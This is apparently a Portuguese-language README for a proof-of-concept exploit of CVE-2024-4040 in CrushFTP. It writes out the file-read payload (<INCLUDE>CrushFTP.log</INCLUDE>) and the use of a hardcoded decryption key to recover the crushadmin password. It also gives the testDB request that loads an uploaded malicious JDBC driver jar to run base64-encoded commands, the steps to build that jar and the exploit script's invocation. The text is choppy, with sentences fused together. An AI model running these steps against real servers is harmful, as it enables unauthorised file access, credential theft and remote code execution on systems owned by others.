
CVE-2024-4040 PoC
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest
exploit.py e decrypt.java para obter e descriptografar a senha. Resumidamente, a chave está hardcoded, então você pode descriptografá-la e ler arquivos arbitrários.crushadmin, não existir, tente obter CrushFTP.log, que contém informações de conta.
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
user.XML.crushadmin.decrypt.java para descriptografá-la.--shell é para ver convenientemente o resultado após RCE. Após fazer upload do arquivo jar, especifique --jar-path e --headers para ver o resultado do comando executado:
--headers deve incluir o Cookie de login, por exemplo: --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"--jar-path padrão é /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. Se estiver em local diferente, especifique o caminho. Caminhos relativos funcionam teoricamente, mas recomenda-se usar caminhos absolutos.exit.
User Manager, clique no usuário à esquerda, arraste a pasta que deseja mapear para User's Stuff e ajuste as permissões. Certifique-se de marcar upload.


testDB onde você pode especificar o arquivo jar e o objeto driver, e combinando com upload, é possível obter RCE.command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
id.db_user para executá-lo.mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jarcp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.javajavac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.javajar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"